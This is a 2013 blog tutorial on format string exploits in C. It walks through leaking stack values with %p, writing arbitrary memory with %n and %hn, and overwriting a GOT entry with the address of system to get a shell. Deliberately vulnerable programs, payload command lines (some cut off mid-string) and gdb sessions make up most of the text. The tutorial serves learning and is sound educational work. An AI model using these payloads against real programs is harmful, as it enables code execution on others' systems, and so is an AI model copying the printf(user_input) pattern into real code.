Code Arcana

Introduction to format string exploits

Thu 02 May 2013
By *Alex Reece*
In security.
tags: exploitation tutorial

It would be helpful to be familiar with the x86 calling conventions before reading this tutorial. I prepared a brief primer here and you are encouraged to learn more on your own.

How do format strings vulnerabilities work?

Format string vulnerabilities are a pretty silly class of bug that take advantage of an easily avoidable programmer error. If the programmer passes an attacker-controlled buffer as the argument to a `printf` (or any of the related functions, including `sprintf`, `fprintf`, etc), the attacker can perform writes to arbitrary memory addresses. The following program contains such an error:

```
#include<stdio.h>
int main(int argc, char** argv) {
    char buffer[100];
    strncpy(buffer, argv[1], 100);
    printf(buffer);
    return 0;
}
```

Since `printf` has a variable number of arguments, it must use the format string to determine the number of arguments. In the case above, the attacker can pass the string `"%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p"` and fool the `printf` into thinking it has 15 arguments. It will naively print the next 15 addresses on the stack, thinking they are its arguments:

```
$ ./a.out "%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p"
0xffffdddd 0x64 0xf7ec1289 0xffffdbdf 0xffffdbde (nil) 0xffffdcc4 0xffffdc64 (nil) 0
```

At about 10 arguments up the stack, we can see a repeating pattern of `0x252070` - those are our `%p`s on the stack! We start our string with `AAAA` to see this more explicitly:

```
$ ./a.out "AAAA%p %p %p %p %p %p %p %p %p %p"
AAAA0xffffdde8 0x64 0xf7ec1289 0xffffdbef 0xffffdbee (nil) 0xffffdcd4 0xffffdc74 (ni
```

The `0x41414141` is the hex representation of `AAAA`. We now have a way to pass an arbitrary value (in this case, we're passing `0x41414141`) as an argument to `printf`. At this point we will take advantage of another format string feature: in a format specifier, we can also select a specific argument. For example, `printf("%2$x", 1, 2, 3)` will print 2. In general, we can do `printf("%<some number>$x")` to select an arbitrary argument to `printf`. In our case, we see that `0x41414141` is the 10th argument to `printf`, so we can simplify our string[1]:

```
$ ./a.out 'AAAA%10$p'
AAAA0x41414141
```

So how do we turn this into an arbitrary write primitive? Well, `printf` has a *really interesting* format specifier: `%n`. From the man page of `printf`:

> *The number of characters written so far is stored into the integer indicated by the int * (or variant) pointer argument. No argument is converted.*

If we were to pass the string `AAAA%10$n`, we would write the value 4 to the address `0x41414141`! We can use another `printf` feature to write larger values: if we do `printf("AAAA%100x")`, 104 characters will be output (because `%100x` prints the argument padded to at least 100 characters). We can do `AAAA%<value-4>x%10$n` to write an arbitrary value to `0x41414141`.

The next thing to know is that almost certainly don't want to write all characters in one go: for example, if we want to write the value `0x0804a004`, we would have to write 134520836 characters to standard out! Instead, we break it up into two writes: first we write `0x0804` (2052) to the higher two bytes of the target address and then we write `0xa004` (40964) to the lower two bytes of the target address. To do this, we will use `%hn` to write only 2 bytes at a time. Such a format string might look like this: `CAAAAAAA%2044x%10$hn%38912x%11$hn`. Lets break this down so we can understand it.

- `CAAAAAAA` - this is the higher two bytes of the target address (`0x41414143`) and the lower two bytes of the target address (`0x41414141`)

- `%2044x%10$hn` - since we want to have written a total of 2052 bytes when we get to the first `%hn`, and we have already written 8 bytes so far, we need to write an addition 2044 bytes.
- `%38912x%11$hn` - since we want to have written a total of 40964 bytes when we get to the second `%hn`, and we since we have already written 2052 bytes so far, we need to write an additional 38912 bytes.

Here is an example of how this might be used [2]:

```
./a.out "$(python -c 'import sys; sys.stdout.write("CAAAAAAA%2044x%10$hn%38912x%11$h
```

What can we do with them?

Since a format string vulnerability gives us the ability to write an arbitrary value to an arbitrary address, we can do a lot of things with it. Usually the easiest thing to do is write to a function pointer somewhere and turn our arbitrary write primitive into arbitrary code execution. In dynamically linked programs, these are easy to find. When a program attempts to execute a function in a shared library, it does not necessarily know the location of that function at compile time. Instead, it jumps to a stub function that has a pointer to the correct location of the function in the shared library. This pointer (located in the global offset table, or GOT) is initialized at runtime when the stub function is first called.

For example, when `strcat` is used in a program, the following piece of stub code allows the program to find the correct location in the shared library `libc` at run time:

```
$ objdump -d a.out
... <snip> ...
08048330 <strcat@plt>:
 8048330:       ff 25 04 a0 04 08       jmp    *0x804a004
 8048336:       68 08 00 00 00          push   $0x8
 804833b:       e9 d0 ff ff ff          jmp    8048310 <_init+0x3c>
... <snip> ...
```

Here you can see that the `stcat@plt` is the stub function that jumps to GOT entry for `strcat` (the address `0x804a004`), which is set at runtime to the location in `libc` of the `strcat` function. We can write any value we want to `0x804a004`. When `strcat` is used later in the program, the program will instead transfer code execution to the value we specified. A common technique is to overwrite the GOT entry with the address of the function `system`, thereby turning a call of `strcat(buffer, "hello")` into the call `system(buffer)` (if we can control the contents of `buffer`, we can get a shell!).

An example

For an example, we will exploit the following C program:

```
#include <stdio.h>
#include <string.h>
// compile with gcc -m32 temp.c

int main(int argc, char** argv) {
  printf(argv[1]);
  strdup(argv[1]);
}
```

Our plan is going to be to overwrite the GOT entry of `strdup` with the address of `system`, so the program will `printf(argv[1])` then `system(argv[1])`. Hence, our payload must be a valid argument to `system` - we will start our payload with `sh;#` (which will be `sh` and cause the rest of the payload to be a comment. This also has the advantage of being exactly 4 bytes long, which isn't important for this example but is very useful in other cases).

For every format string exploit, our payload will eventually look something like this: `<address><address+2>%<number>x%<offset>$hn%<other number>x%<offset+1>$hn`. We prepare a payload that will be the same length as our final payload so we can start computing the correct offsets and addresses (note that we use `%hp` and `%00000x` so we can just modify the string in the last step without modifying its length):

```
$ env -i ./a.out "$(python -c 'import sys; sys.stdout.write("sh;#AAAABBBB%00000x%17$
sh;#AAAABBBB00xf7fcbff48048449(nil)
```

Our goal is to find the correct offsets (instead of 17 and 18) so that the we output `sh;#AAAABBBB<garbabe>0x41414141<garbage>0x42424242`. This takes some work, but in our case the correct offsets are 99 and 100:

```
$ env -i ./a.out "$(python -c 'import sys; sys.stdout.write("sh;#AAAABBBB%00000x%99$
sh;#AAAABBBB00x4141414180484490x42424242
```

It is important to note that our payload is *very* sensitive to a change in length: adding one byte to the end of the string will change the required offsets and perhaps mess up the alignment.

```
$ env -i ./a.out "$(python -c 'import sys; sys.stdout.write("sh;#AAAABBBB%00000x%99$
sh;#AAAABBBB00x2e00000080484490x6f2e612fA
```

This is because the arguments are passed onto the stack before the start of our program, and so changing the length of the arguments will change their alignment and the initial stack location for the program itself. In order to have our exploit work consistently, we need to ensure that the payload is at a consistent alignment (and at a consistent offset above us on the stack) by being careful to control the amount of stuff on the stack. This is also why we are using `env -i` as a wrapper for our program (it clears the environment, which is also passed onto the stack before the start of a program).

Anyways, lets find the `strdup` GOT entry:

```
$ objdump -d a.out
... <snip> ...
08048330 <strdup@plt>:
 8048330:       ff 25 04 a0 04 08       jmp    *0x804a004
 8048336:       68 08 00 00 00          push   $0x8
 804833b:       e9 d0 ff ff ff          jmp    8048310 <_init+0x3c>
... <snip> ...
```

Now we know where to write. We want to write the address of `system` to the `strdup` got entry, `0x804a004`. For now, we plug in our address into the payload and make sure everything still works out:

```
$ env -i ./a.out "$(python -c 'import sys; sys.stdout.write("sh;#\x04\xa0\x04\x08\x0
sh;#00x804a00480484490x804a006
```

The next step is to figure out where to write. First, since it is a 32 bit binary, we can disable libc randomization. We disable libc randomization via:

```
$ ulimit -s unlimited
```

Now the address of `system` is at a deterministic location in memory. We can just open up the program in `gdb` and print the address of `system`:

```
$ gdb -q a.out
Reading symbols from /home/ppp/a.out...(no debugging symbols found)...done.
(gdb) b main
Breakpoint 1 at 0x8048417
(gdb) r
Starting program: /home/ppp/a.out

Breakpoint 1, 0x08048417 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0x555c2250 <system>
```

All right, now we know that we need to write `0x555c2250` (the address of system) to the address `0x804a004` (the got entry of `strdup`). We are doing this in two parts. First, we write `0x2250` to the two bytes at `0x804a004` then we write `0x555c` to the two bytes at `0x804a006`. We can figure out how many bytes to write in python:

```
$ python
>>> 0x2250 - 12 # We've already written 12 bytes ("sh;#AAAABBBB").
8772
>>> 0x555c - 0x2250 # We've already written 0x2250 bytes.
13068
```

Now we plug these values into our payload, change the `%hp` to `%hn`. Note that when we change the `%00000x` to `%08772`, we leave the leading `0` so that our string stays the same length. Here is the final exploit:

```
$ env -i ./a.out "$(python -c 'import sys; sys.stdout.write("sh;#\x04\xa0\x04\x08\x0
sh;#..<garbage>..sh-4.2$
```

Woo hoo, we got our shell!

Debugging an exploit

Sometimes, things don't go as planned and we don't get a shell. If this happens, `gdb` is your friend. Unfortunately, `gdb` isn't a very good friend. It helpfully puts stuff in your environment, so any careful calculations you were doing related to the stack may no longer be valid. In order to resolve this, you need to make sure your environment looks like the environment used by `gdb`. We first see what the stack looks like under `gdb` and then always run our exploit with that environment:

```
$ env -i /usr/bin/printenv
$ gdb -q /usr/bin/printenv
Reading symbols from /usr/bin/printenv...(no debugging symbols found)...done.
(gdb) unset env
Delete all environment variables? (y or n) y
(gdb) r
Starting program: /usr/bin/printenv
PWD=/home/ppp
SHLVL=0
```

Now that we know the environment used by `gdb`, we can make sure to always execute our payload with the same environment so we can test our exploit in `gdb`:

```
$ env -i PWD=$(pwd) SHLVL=0 ./a.out "$(python -c 'print "my_exploit_string"')" # Out
$ gdb ./a.out # Inside gdb.
(gdb) unset env
Delete all environment variables? (y or n) y
(gdb) r "$(/usr/bin/python -c 'print "my_exploit_string"')"
```

The most helpful thing to do in `gdb` is to break just before the call to `printf` and make sure the argument and the stack stack is what you expect (if you expect to use `%10$hn`, make sure the value you control is the 10th argument after the format string). If that works, then break right after the call to `printf` and make sure the value you expect is at the target address.

```
Breakpoint 1, 0x080484ae in main ()
(gdb) x/2i $pc
=> 0x80484ae <main+74>: call   0x8048360 <printf@plt>
   0x80484b3 <main+79>: mov    $0x0,%eax
(gdb) x/a $esp
0xffffdb70: 0xffffdb98
(gdb) x/s 0xffffdb98
0xffffdb98:  "AAAA%10$p"
(gdb) x/11a $esp
0xffffdb70: 0xffffdb98  0xffffdddd  0x64    0xf7ec1289
0xffffdb80: 0xffffdbbf  0xffffdbbe  0x0 0xffffdca4
0xffffdb90: 0xffffdc44  0x0 0x41414141
(gdb) x/a $esp + 40
0xffffdb98: 0x41414141
```

---

1. You'll note the single quotes - `$` is a special symbol on the shell and would otherwise need to be escaped. ↩
2. You'll note that we use print the exploit string in a python subshell. This isn't strictly necessary in this case, but for more interesting exploits the ability to print escape characters and use arbitrary bytes in our payload is very useful. We also print via `sys.stdout.write` to prevent the newline at the end we would get if we otherwise used `print` and surround the subshell in double quotes in case the payload had whitespace in it. ↩